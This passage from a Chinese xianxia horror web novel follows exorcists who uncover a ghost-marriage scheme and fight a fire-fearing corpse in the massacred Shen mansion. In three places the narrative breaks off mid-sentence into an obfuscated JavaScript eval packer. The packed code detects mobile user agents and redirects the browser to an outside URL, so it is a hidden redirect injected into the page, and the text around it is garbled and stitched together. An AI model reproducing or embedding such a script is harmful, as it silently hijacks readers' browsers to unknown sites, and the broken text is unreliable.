因纾禾漫不经心地转身,抱手绕过屏风朝前走,悠悠而道:“你要是喜欢贺云修,你就直接和他说就好了,没必要天天和我们这些外人比较,我又不是你的云修哥哥,你无需相信我,你相信你的云修哥哥就好了。” 贺云修原本闷不作声,此时也忍不住打断道:“甄姑娘……” 因纾禾挑了挑眉,笑道:“好吧。我也闭嘴。” 原本她也不是爱管别人闲事之人,只要别来招惹她,一切好说。 此刻,他们已经走到后堂正厅的前院。此时,灵火的火光已经变成了暗红色,穿过浓浓的污浊之气,引着他们朝前走去,大概还有一仗之距,他们便看见了正厅大堂中央,摆放着两口棺椁。黑木供桌上,两个牌位并排而立,其前的香烛已燃尽。供桌后方左侧角落,摆放着一尊拳头大小的铜像,整个灵堂以红白两色装饰,显得异常诡异。 在棺椁的两侧,分别站立着两个纸扎人偶,一左一右,恰似守护者。因纾禾意味深长地瞥了它们一眼,然而就在她的目光触及之际,那两个纸扎小人似乎轻微地颤动了一下。 “这是在冥婚吗?” 檀玲已经忘却了刚才与因纾禾的言语交锋,完全被眼前诡异的氛围吸引住。 贺云修微微点头,低声叮嘱道:“别随便触碰这些东西。” 话音刚落,那边的钟天元已经一把掀开其中一个棺椁,随即道:“空的!” 黄老虎搭话道:“空的放在这里做什么?” 原本贺云修对于钟天元的鲁莽举动还稍有不悦,但是听到他说空的,也赶紧过去查看情况,确实是空棺。 叶澜也探了一个脑袋过来,目光扫过那具空棺,随即转向供桌上的牌位,又望了望两具棺椁的位置,忽然意识到什么,低声道:“你们看,牌位是不是放反了?”他指了指黑木供桌,又指向两具棺椁的位置,手势清晰地比划着,“右边的棺椁是空的,但对应的牌位上却有名字,好像……写的是‘沈映’。而左边的棺椁,倒是没有名字的牌位。” 他顿了顿,补充道:“照理说,无名牌位应该放在右边,因为这具棺椁是空的。而左边的棺椁里,或许真有遗体,应该就是沈映。” 王老虎一听,立即道:“我去掀开看看。” 他走到左边的棺椁旁,突然从棺椁内部传来一阵“咔咔”的异响,像是指甲刮划木板的声音,黄老虎愣了一下,顿时有些犹豫,但如若这时候打退堂鼓又显得太没胆识了。 可是也不知道这棺椁里面的东西凶不凶,所以他内心是翻江倒海,直到钟天元走过来一把把他推开:“滚开,废物,我倒要看看里面究竟是什么牛鬼邪神!” 钟天元走到棺椁前头,直接双手紧握棺盖,往上用力一掀! 就在棺椁打开的一瞬间,一双手突然从里面伸出,抓住了站在一旁的黄老虎! 黄老虎吓得血液倒流,疯狂甩臂,但那双手如铁钳般紧紧抓住他。黄老虎猛地用力一拉,棺椁“砰”的一声侧翻倒地,滚出了一具肉身。 这具肉身脸朝下,一动不动。钟天元抄起腰间匕首,走了到肉身旁。他蹲下身子,双手握住匕首,面部狰狞,想要狠狠刺下去! “等等!你们看他的手,刚才好像动了一下!” 叶澜迅速出声制止,但钟天元根本不为所动,他进来时就发誓要除掉邪祟、拿到赏金,绝不能让别人抢在前头! 他双手高高举起,重重刺下! 就在这时,贺云修一个飞踢,踢掉了钟天元手中的匕首。 贺云修怒斥道:“我们是进来除祟的,不是进来杀人的!” 黄老虎见状,顿时怒火中烧:“你敢踢我大哥!我和你拼了!”他从怀中抽出两把短刀,欲和贺云修决一死战! 叶澜道:“他是活人,不是邪祟!他不是你们争抢的对象!你们真要现在动手自相残杀吗?!” 叶澜已经把地上的男人翻了过来,发现这个男人还有气息。 这个男人应该是在棺椁里面醒了,想要自救,所以拼命的挠棺盖。棺椁被打开后,他猛地跌落在地,重重撞击让他瞬间失去意识,再次晕了过去。 黄老虎却完全不理会,在他心里,贺云修打自己大哥这件事是绝不能容忍的,抬刀就要砍去,直到钟天元出声:“老虎。” 黄老虎才止住了动作,他转过身来望向钟天元。在得到钟天元的示意后,他向贺云修啐了一口,才收起了双刀。 正厅嘈嘈杂杂,因纾禾却始终未曾出声,实际上她早已悄然来到前院,结合沈家宅院的地形,计算布置五行阵法的最佳位置。 她从甄青瑶的百宝袋中取出灵石,依次在东南西北四个方位布下阵点,阵眼处则摆放了自己的宝葫芦。 因纾禾低声念起咒语,启动阵法,随即拔开葫芦塞,清气如雾般涌出,向四面八方扩散开来,像是在探寻什么,周围的温度骤然降低。半晌,又汇聚成一股清气,飘向北方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858779|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这表明怨气的源头正藏匿在阵法的北方。 因纾禾刚走几步,打算穿过耳房前的走廊,朝北而去。 叶澜忽然叫住了她:“甄姑娘,你要去哪?” 因纾禾一回头,瞧见叶澜正半蹲在一个男子身边。她又回身走了过去,看着躺在地上的男子,五官端正,轮廓清晰,是一位长相不错的年轻男子。 她伸手探了探男子的神识,没有发现异常,只是昏睡了过去,思忖片刻,对着叶澜道:“把这个人重新返回棺椁里面。” 叶澜愣了一下,疑惑地问:“啊?我们才刚把他从棺椁里救出来,你现在又要把他封回去?这……是不是有点太残忍了?” 因纾禾解释道:“这里怨气四伏,他放在外面反而更危险,倒不如暂时把他放回棺椁里,等邪祟解决后再救他出来。” 贺云修闻言也表示赞同,和叶澜一起,把棺椁摆正,把男子重新放入棺椁之中,盖上棺盖,还不忘留了一丝缝隙。 因纾禾又对叶澜道:“你身上应该带有黄符纸和笔吧?能否借我一用。” 既然叶澜是出来历练的,随身携带一些常规的符箓也是理所当然的,黄符纸和笔自然不缺。 叶澜点头应道:“当然可以。”于是从怀里取出递给了因纾禾。 因纾禾接过后,抽出六张,在每张纸上寥寥草草画下几笔,每画一张,就让叶澜帮拿好贴上。 “这张贴前面,这张贴左边,这两张贴上下两面……” 他愣愣接过,看着符纸上的图案,满脸疑惑。 半晌,因纾禾完成了六份“巨作”后,心满意足的拍了拍手,却看到叶澜纹丝未动,道:“有何疑问?” 叶澜讷讷道:“甄姑娘,你画的这些……到底是什么啊?我怎么从来没见过?” 因纾禾解释道:“这是五行驱邪符文。这个圆形的代表土之灵,有两张,你把它们分别贴在棺椁的上下两面。这三条竖着的,是水之灵,你就贴在……” 话未说完,檀玲从叶澜手中抢过符纸,一边翻看,一边嘲讽道:“啧啧啧,这些是什么东西?这也算符文吗?三岁孩子都能画得比你好看吧?” 因纾禾眉头一挑,伸手一把抢回符纸,道:“别不识货!这可是好东西!” 说罢,她动作迅速,将符箓一张张贴在棺椁的四面和上下六面。 做完这一切后,她转身朝北后院走去。檀玲看她乱走,还想制止她。奈何贺云修也跟了过去,她也急急忙忙跟了上去。 穿过长廊,因为五行阵法的作用,逐渐净化掉了一些污浊之气,让视线整个清明了不少。原本贺云修还想点燃灵火,却不知道为何,怎么也点不起来。 贺云修暗自疑惑道:“这是怎么回事?” 檀玲见状,关切道:“云修哥哥,你怎么了?” 黄老虎在一旁冷笑,讥讽道:“呵,怎么了?多半是你的云修哥哥修为太浅,这里的邪祟修为比他强,越往里走,越被压制,所以灵火也点不起来了呗。” 檀玲极力维护自己的心尖人,怒斥道:“你胡说八道什么,管好你自己吧!” 他们越靠近后院,便隐约感知前方有诡异红光一闪一闪的,众人不由得放慢了脚步,小心翼翼地挨着墙根前行。越是向前,就越能感受到气流的震动,胸腔也跟着闷闷作响,最终,他们在红光最甚的位置停了下来。 他们透过镂空墙窗,望向了院内。瞬间,所有人的寒毛都竖了起来。只见一个红衣女尸悬浮在右侧假山的六角亭上方,无声地翻转、翻滚,动作诡异且疯狂。 那模样、那打扮,分明是那具空棺椁的主人——沈映。 檀玲一脸困惑,问道:“她在翻来覆去做什么?” 叶澜皱了皱眉,回道:“看起来像是在打架,可是我什么都没看到啊?” 这时,因纾禾递给他一面铜镜。叶澜看了她一眼,心领神会,便朝着红衣女尸的方向照了照,朝镜子定眼一看。 好家伙。 什么也没看到…… 因纾禾又向上指了指,叶澜抬头,终于明白过来。 于是,他调整了角度,借着冰冷的月光,再次将镜子对准沈映照了过去。 “娘耶!”他心里一惊。 原来除了红衣女尸,还有一只白衣女鬼! 这俩正在干架呢! 6. 第 6 章 白衣女鬼长发遮面,周身泛着冷冽的白光,双手死死禁锢住红衣女尸的头部。她坐在红衣女尸的脖部上,双腿紧紧夹住其脖颈,力道惊人。 红衣女尸也不甘示弱,咬住女鬼的腿,青紫的双手用力拽住女鬼的头发,猛然往下拉。她不停地翻滚、撞击墙壁或地面,显然是想将白衣女鬼从身上撞下来。 檀玲惊呼:“看到了!看到了!还有一只大鬼!” 随着镜子反射出月光,阴气逐渐聚集,女鬼的身影也在大伙的视野中越来越清晰,肉眼可见。 黄老虎皱眉,看着那两具厮杀的身影,疑惑道:“真奇怪,它们明明打得那么激烈,怎么一点声音都没有?” 贺云修略一沉思,解释道:“这应该是由于他们的气场互相排斥,女鬼的阴气和女尸的死气彼此抵触,导致周围的气流变得紊乱。这种能量的碰撞,使得声音被压抑了。不过我们能通过气流的震动感知到它们的存在。” 檀玲听后,忍不住赞叹道:“云修哥哥你果然什么都懂。” 黄老虎不屑道:“既然你那么聪明,你倒是说说,这两个邪祟,谁是屠杀沈家的罪魁祸首?” 檀玲道:“这根本就不需要云修哥哥回答,我来回答你,这是哪?这可是沈家!红衣女尸基本确定就是沈家小姐沈映,她总不会自己屠自己满门吧?肯定是那白衣女鬼屠杀了沈家,沈映是复仇者。这不是显而易见的事么?” 叶澜道:“这女鬼为什么要屠杀沈家呢?” 檀玲想了想,随口说道:“或许,她生前与沈家有什么恩怨吧。这我怎么知道?” 黄老虎嘲笑道:“你不知道,你不是说你云修哥哥聪明?你倒是问问你云修哥哥啊。” 檀玲立刻反击道:“谁能知道啊!我们刚进来,你别什么都推给云修哥哥,他人好,也不是让你随便欺负的!” 叶澜回头看向因纾禾,问道:“甄姑娘,你怎么看?” 檀玲听了,忍不住插嘴道:“我不是告诉你了吗?……你还问她做什么?她能有什么更好的见解?难不成,说这是沈家小姐屠杀自家亲人啊?” 因纾禾忍不住点头赞许:“你怎么知道?” 檀玲愣了一下,有些懵:“啊?我知道什么了?” 叶澜眼中闪过一丝光芒,惊讶道:“你的意思是……屠杀沈氏满门的真凶——是沈映?!” 贺云修也道:“怎么说?” 他原本也觉得哪里不对劲,可是他自己一时间也想不出来,正好因纾禾可以解惑。 “她肯定又是想要显摆自己与众不同了,云修哥哥你不要听她的。” 贺云修刚才一直沉默,因纾禾一开口,他就回应,让檀玲心生不快,愤愤道。 因纾禾不以为意,道:“你们看一下那后院地面。” 众人闻言回头,透过花窗往里看去,这时候那一尸一鬼还在昏天暗地地打着,刚才他们就是一直被这两个东西吸引,没顾及到其他。因纾禾提醒后,所有人终于看到,后院地上布满了血腥的碎尸残肢。 空气中弥漫着长期腐烂的恶臭,原本众人早已习惯,但此刻目睹满地的碎尸,仍旧难以完全适应。这视觉冲击过于强烈,顿时让人感觉恶臭味加剧,叶澜捂住口鼻,终于忍不住转身,低头咳嗽了几声。檀玲也蹲了下来,强忍着胃中翻涌的恶心,脸色苍白,几乎站立不稳。 因纾禾冷静地问道:“看到什么了?” 叶澜稍稍缓了缓,才勉强开口:“碎尸……一地的碎尸。” 因纾禾接着问:“你们看见那女尸身上有什么伤痕吗?” 贺云修微微皱眉,仔细观察后道:“除了些许尸斑,似乎没什么明显伤痕。” 檀玲咬紧牙关道:“那又能证明什么呢?” 因纾禾神色淡淡,道:“两者打得如此激烈,女尸身上却没有明显的伤痕,地上却满是碎尸。这不正说明了问题吗?” 贺云修顿了顿,忽然有所领悟:“我好像明白了。” 檀玲眼睛一亮,面部表情瞬间从不屑转为期待,满是星星眼:“云修哥哥明白了?那你给我说说看。” 因纾禾心中暗道:这姑娘的职业真是没选好,这变脸速度,不去学戏曲可惜了! 贺云修道:“女尸和女鬼的攻击方式不同。” 因纾禾点头道:“没错,女鬼和女尸的杀人方式是截然不同的。女鬼通常通过精神攻击来杀人,借助恐惧和心理压迫,让人崩溃或死去。而女尸则更为直接——她通过暴力撕裂肉身来进行杀戮。” 她继续解释道:“刚才你们看到的情形,可能会误以为女鬼和女尸在肉身上互相攻击,但实际上,女鬼并没有直接进行物理攻击。她是在通过灵异手段对女尸施加精神上的压迫,这让女尸的身体发生了剧烈反应。尽管表面上看起来像是两者在进行肉身上的搏斗,但实际上,女鬼是在通过恐惧压制女尸,而女尸则在奋力抵抗这股力量。” 叶澜也恍然大悟,补充道:“我也明白了!如果屠杀沈家满门的是女鬼,那么尸体应该会保持完整,并且表情中会有明显的惊恐,而不可能是这种一地碎尸的情景。很明显,他们死于肉身暴力,而不是女鬼的精神攻击所致。” 檀玲依旧坚持自己的观点,说道:“那也有可能是,女鬼吓死了这些人,然后女鬼控制死去的这些人去攻击女尸,最后女尸才反抗并把他们撕碎了呢。” 因纾禾道:“你说的这种可能也是有的,那你告诉我,如果女鬼屠杀了沈家,她都能控制那些死去的人去对付女尸,她为什么不直接控制女尸呢?” 檀玲道:“因为这女尸怨气大,厉害,所以女鬼不能完全控制。” 因纾禾道:“那女尸强大的怨气又从何而来?” 檀玲道:“自然是女鬼杀了沈家,然后沈家全族的怨气汇聚到沈映身上,形成强大的怨气。” 因纾禾道:“既然所有的怨气都集中到沈映身上,那么这些死者的力量本该归属于沈映,而不是被女鬼控制去攻击沈映。” 檀玲想了想,好像也对。可是她就想本能的反驳因纾禾,但一时间又没有找到符合逻辑的说辞,于是选择了默不作声。 反正,要想让她赞同甄青瑶,没门儿! 黄老虎也来了兴致,道:“你们是说,是沈家女儿—沈映,屠杀了自己全家?” 因纾禾道:“我只能说,这是目前最合理的解释。” 叶澜道:“倘若真是如此,这沈映为什么要这么做呢?” 因纾禾突然回想起方才在中堂听到的一段对话,应该是守在灵堂的那两个纸扎人之间的对话,又想起那棺材里的活人和无名的牌位…… 她心中有疑,赶紧趴到围墙,通过镂空花窗看向那扭打的身影,观察了一阵后!她打算先去找一样东西,临走之前还不忘提醒他们:“我建议你们先不要去惊动里面的东西。” 接着,她转向叶澜道:“能否请你帮我一个忙?” 叶澜点头道:“当然可以,你无需客气!” 当知道因纾禾让自己一个人去寻找沈府的书房和账房的时候,他有一瞬间觉得自己答应太快了,在这个地方一个人行动他还是有点惧怕的。 因纾禾看出了他的顾虑,又向他讨要了一张黄符纸和笔。她随手在符纸上潦草地勾画出两道符箓,然后将它们分别贴在他身前和身后,道:“大祟已经找到,贴上这个,那些小鬼也不敢随意近你身,放心吧。” 叶澜颔首示意,与纾禾分别从后院的左右两侧出发,沿着通往前厅的路径,搜寻书房和账房。 因纾禾很快在正厅后方的厢房找到了账房。她摸索了一阵,让她摸到了两根白蜡。用火折子点燃一根,用做照明,另一根则揣进了怀里。因纾禾仔细翻找着账房里的物品,发现这个账房有三件厢房连在一起,第一间就是账柜,第二间和第三间都是放着很多杂物。 她在房间里四处摸索了好一阵,终于在第三间房的角落里找到了一个木箱,箱子沉重,因纾禾打开后,看到里面堆放着十几本账簿。她蹲下身,把其中一本账簿取出,翻开了第一页。将烛火凑近了些,火光投射在纸页,密密麻麻的数字和字句让人眼花缭乱。因纾禾并没有急于翻阅完毕,而是在木箱的边缘滴了几滴蜡油,将白蜡固定在箱沿,确保光线稳定。然后,她一本本粗略的翻找一遍,在其中一本册子中发现了端倪! 她细致地翻阅着这本账簿,当她翻到一份账目时,发现了一个惊人的细节。账簿中记录着沈家近年来的冥宴安排,共有四十八次,而这次显然是第四十九次。更让人吃惊的是,账簿上清楚地标注着,这些冥宴的对象,全部是为沈映安排的。第一场冥宴,居然是在五年前!也就是说,沈映已经死了五年! 正常怎么可能给一个女儿配置那么多阴夫!而且,刚才躺在棺椁里面的男子明明是活人,他们分明是找活人做配! 而那前面的四十八个人,也极有可能是在活着的时候被人配了阴婚的! 因纾禾看了一阵,将账簿迅速揣入怀中,想着出去寻找书房的位置,或许还能发现什么有用的东西。 刚走出去,突然“啪”的一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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檀玲怒目而视,指着钟天元,语气愈加尖锐:“都怪他!真是个冷血怪物!”她一边说,一边咬牙切齿,“刚才,是他非要冲进去,云修哥哥拦都拦不住!云修哥哥没办法,只能跟着进去,想着先一起对付邪祟再说。结果,没想到那邪祟那么厉害,挣脱了云修哥哥的法器!而他,这个冷血怪物!刚才那邪祟明明是想抓住他,黄老虎想要救他,居然被他用作肉盾推了出去,结果……黄老虎就这么死了!真是太可怜了!” 她说着说着,眼泪几乎忍不住要流下来,因为刚才那情景,贺云修也差点送了命。 钟天元冷冷地睨了她一眼,眼中满是冷漠与轻蔑道:“哼,别把自己说得那么高尚。要不是你们乱了我的节奏,我早就把那两只邪祟收拾了。况且,‘人不为己,天诛地灭’。杀了黄老虎的不是我,是那只邪祟!我对黄老虎有再造之恩,他愿意为我死,那也是死得其所!况且,只要除了邪祟,也算是为我兄弟报仇了!” “你……你……”檀玲气得脸色通红,声音颤抖,“你真是……无耻!” 因纾禾又想到了什么,追问道:“白衣女鬼呢?” 此时,贺云修勉强抬头,面色苍白,声音虚弱且沙哑:“不知……我们使用法器后,应该对那女鬼产生了作用,但女尸似乎并没有什么变化,女鬼渐渐打不过女尸了。我们本打算先收服女鬼的,没想到被女尸缠住了……然后,女鬼就……不见了……” 因纾禾思忖片刻,继续问道:“你们刚才用的是什么法器?” 贺云修道:“都用了……” 因纾禾道:“说具体点。” 贺云修咳了一声,继续道:“金刚圈、除魔剑、符箓……还有他的……鬼头锤。” 因纾禾道:“这么多法器,都没起到效果?” 贺云修摇头道:“这邪祟刀枪不入……除了符箓能稍微减缓女尸的行动力,但很快就被她冲破了……我差点被她的力量反噬。” 刀枪不入?能量反噬? 因纾禾疑狐地向女尸的方向走了几步,她注意到,这具女尸周身散发一种冷冽、压迫之气,与普通僵尸的腐烂、霉臭完全不同,除了长出些许尸斑,她的身体几乎完好无损。 因纾禾想到了一种可能。 此时,原本还在啃咬黄老虎的沈映突然停下了动作,她似乎发现了这边的动静,身体直挺挺的立了起来了! 突然一个转身,朝着这边飞扑而来! 因纾禾眼疾手快,一个飞身挡在了贺云修和檀玲前面,迅速吹起火折子,火光猛然亮起,那女尸顿时像是看到什么可怕之物,双手急忙抬起捂住眼睛,连连后退好几步。 因纾禾心中暗道:果然如此! 檀玲被女尸这突如其来的飞扑吓了一跳,当看到因纾禾挡在他们跟前的时候,身形微微一怔。 半晌,她缓缓道:“没想到这邪祟刚才还那么凶残,对它用那么多法器都不起作用,居然……怕这一点点火光。” 因纾禾从怀里掏出蜡烛,淡淡道:“谁说你们的法器对她不起作用。”她用火折子点燃蜡烛,轻笑一声,“不过,是增强了她的能力。嗯……从某种意义上讲,也算是起作用了。” 檀玲震惊道:“你的意思是说……我们的法器不但没有降住她,反而争强它的力量?!” 7. 第 7 章 这次檀玲没有用“怎么可能”“胡说八道”“你有没有常识”之类的话反驳因纾禾,她脸上更多的是求真之色。经历了刚才的九死一生,她的确也迫切想知道这个女尸沈映到底是什么怪物。 因纾禾开口道:“也不完全是,你的云修哥哥不是已经说过了吗?符箓对她还是有点效果的。” 贺云修缓声道:“还请甄姑娘明言……” 女尸沈映双手遮挡住双眼,时不时却会猛地向前扑出。因纾禾紧紧盯住女尸,只要她稍有动作,便迅速举起蜡烛,用火焰吓退她。 因纾禾继续道:“这东西怕火,是因为她五行属金。你们的法器大多是金属物,然而她根本不怕这些。反而是这些法器的金属性,可能会反过来增强她的力量,根本无法克制她。” 檀玲道:“我跟随云修哥哥游历多年,我们也曾捉过无数妖邪,万生万物皆有五行我是知道的。但是没听说过他们可以专属于那个属性的。” 因纾禾道:“这明显是通过某种手段炼化出来的大祟,不能一概而论。就像人的五脏一样,每个人都有,但有些人天生脏腑虚弱,有些人却能通过修炼,气血充盈,甚至炼化出异象。这些邪祟也是如此。它们可能借助禁术、秘法,或者是某种诅咒,利用天地之气,削弱其他属性,最终形成了这种特殊的专属属性,从而具备了常人无法想象的力量。” 贺云修道:“难怪……” 因纾禾道:“原本那女鬼和女尸不相上下,你们一出手,就增强了女尸的力量。女鬼显然因此才败下阵来,随后逃走了。” 贺云修神色凝重,道:“这沈府的惨案……背后定然不简单。” 说罢,他又忍不住握拳捂嘴,闷咳了几声。 因纾禾继续道:“我刚刚在账房翻阅了沈家的账簿,发现这沈家居然给沈映办过四十八场冥宴,而这一次,正好是第四十九次。” 檀玲震惊道:“怎么会这么多?难不成是在卖女儿吗?我真是没想到……这沈家居然还做这种阴私勾当。” 她的话音未落,突然意识到什么,道恐:“等等……如你刚才说的,真是沈映屠杀自家满门的话,这似乎就能解释得通了!” 因纾禾道:“有没有卖女儿我不知道,但是这冥婚用活人配婚,还置办了那么多次,定然是为了积攒怨气。” 檀玲道:“等等我糊涂了,意思是沈家利用沈映积攒怨气吗?……但是现在是沈家被灭门,这说不通啊?他们难道自己培养一个大祟杀自己人吗?” 此时,右边的镂空花窗外突然冒出半张脸。 贺云修微微抬眼,警觉道:“谁在哪……” “是我……你们怎么都进去了……” 叶澜小心翼翼地朝着里面观察,没发现邪祟的踪迹,才稍微放松,走了进来。他递给因纾禾一本书册,道:“看,我找到了这个。” 他瞧着因纾禾完全没有看向他的意思,便也顺着因纾禾的目光看去,视线最终落在了两丈远的一棵古柏树上,黑漆漆的,什么也没看出来。好奇道:“你在看什么呢?” 因纾禾道:“你直接告诉我你找到了什么。” 叶澜收回目光道:“我拿到了一本医册,里面还夹住了一张纸。好像也是一个药方子,是治疗……治疗……” 因纾禾道:“治疗什么?” 叶澜这口开了半天,愣是没说下去,然后直接塞到因纾禾手里,背过身去,尴尬道:“你还是自己看吧。” 因纾禾:“……” 然后一把抓住叶澜的手臂,将他强行转过身来,把蜡烛塞到他手里,说道:“前面,盯住了。” 叶澜被她这么一拽,也忘却了刚才的尴尬,接过蜡烛,望着那古柏树好奇道:“那里到底有什么?” 因纾禾淡淡道:“女尸,上面趴着呢。”她微微抬了抬下巴,“如果她过来,就用这个对付她。” 叶澜闻言,身子一僵,目光直直锁定住,完全不敢挪开,讷讷道:“我看是看住了,但是……这能对付她吗?” 他刚刚可是见过鬼尸打架的凶残模样,如今让他用一只蜡烛去对付随时可能扑过来邪尸,他能不慌吗? 檀玲道:“你放心吧,刚才她试过了,那大祟就怕这个。” 闻言,叶澜才逐渐稳住了颤抖的双手。 因纾禾拿起那张泛黄的纸条,细细一看,上面记载着一种鲜为人知的治疗秘方,旁边还附有一些药材的说明,显然是用来治疗某种私密病症的药方子。 因纾禾对医术并不精通,所以也没能看出太多的东西,问道:“到底是治疗什么的?” 叶澜磕磕巴巴了半晌,因纾禾实在忍无可忍,刚要抬手。 叶澜齿缝含糊蹦出两个字,声音极低,几乎听不清。 因纾禾道:“大点声。” 叶澜咬咬牙,心一横,迅速而简洁地说道:“不举!” 檀玲追问道:“不举?是什么意思?” 叶澜和贺云修都极其尴尬,不知道如何解释。 此时,钟天元发出一声冷笑:“呵呵!看来,这沈映根本就不是沈言峰的亲生骨肉。一个男人最记恨的就是被戴绿帽子!沈言峰自己什么情况自己肯定最清楚,他不能生孩子,但妻子却怀上了,定会怒不可遏。但是他又怕外人知道他的病症和家丑,因此……他宁愿将沈映先养着,然后再找准时机杀害了沈映,并多次安排冥婚,意图让沈映死无宁日。恐怕连沈言峰自己也没料到,沈映的怨气如此深重,竟至灭了沈家满门!” 因纾禾感叹:果然还是男人最懂男人心,这一段分析头头是道,想来他是把自己带入沈言峰,内心预演一边得出的结果。 “不过,我们进入这里并未见到沈家人的遗体,难道他们都被碎尸万段了?既然沈映是凶手,那么只要除掉她,沈家的怨气自然也就消散了!” 说罢,钟天元不知从哪里找来了一个手臂粗的棍子,从碎尸中寻到血衣残片裹在一头直接点燃,毫不犹豫地朝着那古柏树挥舞过去。 他大喊道:“妖孽,今日我定要将你斩杀于此!” 这赏金他是要定了! 那棵巨大的古柏树原本一片死寂,钟天元举着火光靠近瞬间,树影猛然微动,一抹红影“咻”一下从树间窜出! “休想逃!”钟天元亦直追红衣女尸而去! 叶澜开口道:“我们不去帮帮他吗?” 因纾禾没有回应,而是目光始终紧锁在那具女尸上。她注意到,女尸在院内四处爬墙跳跃,灵活地躲避钟天元的攻击,然而它始终未曾越过院墙,只是在这片院子里活动。 难不成,这女尸被某种阵法困住了? 因纾禾凝神感知,细细探查,却依旧未能察觉到任何异常。 果然,那棵大古柏树依旧是院内最能藏匿的地方。于是她猛地一个飞扑,企图跃上树梢。钟天元看出了沈映的意图,直接将手里的火把砸了过去。 这次非常精准的击中了沈映,便听到她发出一声震耳欲聋的怒吼,随即重重砸入地面,开始燃烧起来! 钟天元显得颇为得意,嘴角勾勒出一丝冷笑,他从容不迫地走向趴在地上、身上冒着火光的沈映。他将脚高高抬起,瞄准沈映那已经燃烧的脑袋,想要一脚爆头! 突然间,沈映以一个诡异的反手动作迅速抓住了钟天元下踹的脚,并用力向下猛拽。钟天元立刻失去了平衡,欲要栽倒。与此同时,沈映的头部突然旋转了一个惊人的角度,仿佛猛兽亮出獠牙,想要一口咬住钟天元的大腿。 因纾禾见状,立即低声念诀:“五行之木,根随命动,枝锁幽邪!” 话音未落,无数细小的根枝如同活物般从地下窜出,顷刻间将沈映的身体紧紧缠绕。那些树根如铁链般牢牢束缚住她的四肢与躯干,令她无法再动弹分毫。这才让钟天元逃过一劫,心有余悸地连连后退。 未几,那棵古柏树又诡异的抖动起来,有一股土腥之气在与因纾禾木之灵术相对抗,沈映像是获得了某种能量,忽然拔根而起,瞬间震断了所有束缚,她身上的头发衣物被方才的火势燃烧得剩下一些残片,但她的皮肤似乎并未受伤,仅是变得黑了一些。 她的脑袋猛然抬起,露出一双惨白无瞳的眼珠,缓缓转动了一圈,似在打量着什么。随后,她的目光落在了因纾禾和叶澜的位置,仿佛在确认着什么。 半晌后,她的表情变得狰狞,眼中充满了杀意,目光死死地盯着二人,一步步朝着他们走来! 此刻,叶澜惊慌失措地举着那根即将燃尽的蜡烛,试图以此吓退沈映。可是她并不像之前那般惧怕,还是朝着他们走来,只是走得要比之前慢了许多。 叶澜疑惑道:“奇怪,为什么她这次走得那么慢吞吞的……” 因纾禾从容道:“你看她的脚。” 叶澜定睛一看,才发现地上那些无数细小的根丝依旧在纠缠沈映的身体,令她的每一步都异常沉重,根本无法飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,随着距离后堂越来越近,因纾禾察觉到土腥之气低了不少,沈映身上的护盾逐渐消失,但是沈映本身的戾气又变得越来越重,木之灵术受到了强烈的干扰。沈映的步伐也随之加快,动作变得愈发敏捷。意识到情况不妙,因纾禾立刻转身疾跑,而沈映则迅速飞身扑来。 这沈府真不简单,前有祟源,后也有祟源。还品种不一,数量不明! 纾禾身法极快,迅速绕至后堂正厅左侧的隔间,并透过屏风的缝隙,仔细观察着沈映的一举一动。沈映居然绕过了阵法,停在了正堂的门口,却并未踏入屋内。 就在此时,因纾禾又听到淅淅索索的声音,她闻声望去,果真是那一左一右立在灵堂两侧的纸扎小人。 “我看到了!那个人就在里面,她刚刚跑进来了!” “你要小心,那人挺厉害的!对了……棺椁里面的男人还没死呢,被刚才那几个人看见了,还把他又放回去了,也不知道用了什么咒法!我们俩半点儿靠近不了!” “这些杀千刀的!我们就要大功告成,完成任务就可以跟着大神混了,怎么突然就来了这些个屁玩意!” “其他那些个人还好,就是有一个女的,看着弱弱小小的,画的东西见都没见过,也不知道是哪门哪派的,要是知道什么门派的,到时候、到时候就应该让大神他们都灭个干净!” 因纾禾正听着,目光被供桌上一件物品吸引住——那尊拳头大小的铜像。 她刚才明明记得铜像的位置是供桌的后方左侧角落,然而现在再看,它居然移到了靠前的正中位置。因纾禾调转身子,面向沈府大门的方向比划了一下,发现如果按沈府的整体布置,后院正好位于整个沈府的左侧角落。 而今铜像所处的位置,对应沈府的布局,恰好就是后堂! 难怪沈映刀枪不入! 难怪她能吸收金属法器的能力,还能反噬伤害! 原来邪祟的根源在这! 要想解决沈映,就得从它入手! 因纾禾不再躲藏,转身绕过屏风走到供桌前面,想要拿走铜像。原本徘徊在外的沈映见状顿时发狂,飞扑而来抢夺铜像。 原本因纾禾可以先她一步拿走铜像,可供桌突然被一股力量朝前推倒,铜像直接滚碌碌滚到了门槛边缘。 沈映迅速将铜像抱在怀中,转身就想要逃走。她果然还是对后院那个地方情有独钟,逃跑时习惯性地朝那个方向奔去。此时,叶澜和檀玲正搀扶着贺云修走过来,恰好撞上了这一幕。 因纾禾见状,急忙喊道:“拦住她!别让她跑了!” 8. 第 8 章 “我、我、我要怎么拦住她啊?” 叶澜原本一手搀扶着贺云修,一手拿着蜡烛,看着前面即将扑到他们跟前的女尸沈映,慌慌张张地把贺云修的重心移回檀玲那边,自己想要拔出剑做防御状,就听到因纾禾高喊出声:“不要用任何金属法器!用火!” 用火?然而她刚才显然已经不再畏惧火了啊!也来不及多想,叶澜急忙地向前伸出了烛火,嘿!果然她又像最初那样害怕!紧紧抱着铜像,连连后退。 